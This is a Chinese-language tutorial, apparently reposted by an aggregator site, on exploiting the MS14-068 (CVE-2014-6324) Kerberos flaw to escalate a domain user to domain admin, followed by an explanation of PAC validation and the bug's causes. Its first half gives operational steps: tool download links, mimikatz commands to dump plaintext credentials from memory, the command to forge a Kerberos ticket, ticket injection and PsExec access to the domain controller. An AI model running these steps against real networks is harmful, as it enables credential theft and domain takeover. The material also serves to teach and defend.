MS14-068(CVE-2014-6324)域控提权利用及原理解析
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了MS14-068(CVE-2014-6324)域控提权利用及原理解析,小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含2368字,纯文字阅读大概需要4分钟。
内容图文
漏洞利用
0x01 漏洞利用前提
1.域控没有打MS14-068的补丁(KB3011780)
2.拿下一台加入域的计算机
3.有这台域内计算机的域用户密码和Sid
0x02 工具下载
Ms14-068.exe 下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
PSexec 下载地址:https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe
mimikatz 下载地址:https://github.com/gentilkiwi/mimikatz/releases
0x03 漏洞利用
如果当前用户为域用户
可以直接用 whoami /user 获取sid
如果不是只是本地用户可以用mimikatz 抓取本地的域用户密码
记住mimikatz要有管理员权限不然无法抓取内存密码,可以以管理员权限运行。
输入privilege::debug 权限提升,在输入log 会在当前文件夹下生成后面命令执行的结果方便我们查找数据,最后输入sekurlsa::logonPasswords 抓取密码
会在当前目录生成mimikatz 日志文件
成功获取到明文密码,也获取了域用户sid 和域控主机名
利用ms14-068.exe 工具生成伪造的kerberos协议认证证书
MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr>
ms-14-068.exe -u 域用户@域控名 -p 域用户密码 -s 域用户sid -d 域ip
利用mimikatz.exe将证书写入,从而提升为域管理员
kerberos::ptc 你的证书名字
写入成功后,使用PsExec.exe以管理员权限运行连接域控
原理解析
0x04 Kerberos流程
域内主机请求处理流程
0x05 PAC原理
Server收到Client发来的TGS后,要根据TGS中Client申明所在的域组,和Server上的ACL进行对,然后决定给予Client什么样的资源访问权限。微软使用PAC来表示TGS中Client申明的域组。PAC(Privilege Attribute Certificate),特权属性证书。
PAC包含Client的User的SID、Group的SID。PAC决定了Client的组属性,即决定了Client的权限PAC为了保证自身的合法性,还包含2个签名,Key为krbtgt的NTLM,签名的内容除了User SID、Group SID外,还有其他部分PAC作为TGT的一部分,是加密的,密钥为krbtgt的NTLM作Client向KDC的AS模块发起认证请求,AS返回TGT时,会根据Client所在的组,生成PAC,包含Client的User SID、Group SID,以及用于确保PAC不被篡改的2个签名
将PAC作为TGT的一部分,发送给Client,Client使用TGT向KDC的TGS模块发起访问Server服务时,KDC的TGS模块首先解密TGT,并通过校验2个签名,以验证PAC的合法性。如果通过验证,KDC的TGS模块用2个新的签名替代老的签名来保证PAC不被篡改。第一个签名的密钥为Server的NTLM,第二个密钥为Server与Client的临时会话密钥
重新签名后的PAC被放置在签发的访问票据TGS中,使用Server的NTLM作为密钥被加密保护Server收到来自Client的TGS后,解密TGS验证合法性,校验PAC中的2个签名,确认PAC的合法性,然后确认Client的访问权限
0x06 漏洞成因
Client在发起认证请求时,通过设置include-PAC为False,则返回TGT中不会包含PAC
KDC对PAC进行验证时,对于PAC尾部的签名算法,虽然原理上规定必须是带有Key的签名算法才可以,但微软在实现上,却允许任意签名算法,只要客户端指定任意签名算法,KDC服务器就会使用指定的算法进行签名验证。因此伪造的任意内容都可以是合法的,直接加上内容的MD5值作为签名即可(第一个原因)
PAC没有被放在TGT中,放在其它地方。KDC在仍然能够正确解析出没有放在TGT中的PAC信息PAC必须是密文,经过Key加密的KDC会从Authenticator中取出来subkey,把PAC信息解密并利用客户端设定的签名算法验证签名(第二个原因)
KDC验证缺少PAC的TGT成功后,再验证不在TGT中 的PAC的合法性。如果2个均验证成功,KDC把PAC中的User SID、Group SID取出来,重新使用进行签名,签名算法和密钥与设置inclue-pac标志位为TRUE时一模一样。将将新产生的PAC加入到解密后的TGT中,再重新加密制作全新的TGT发送给Client,不是TGS(第三个原因)
0x07 参考
原理理解的图片来自------安全牛
原文:https://www.cnblogs.com/feizianquan/p/11760564.html
内容总结
以上是互联网集市为您收集整理的MS14-068(CVE-2014-6324)域控提权利用及原理解析全部内容,希望文章能够帮你解决MS14-068(CVE-2014-6324)域控提权利用及原理解析所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。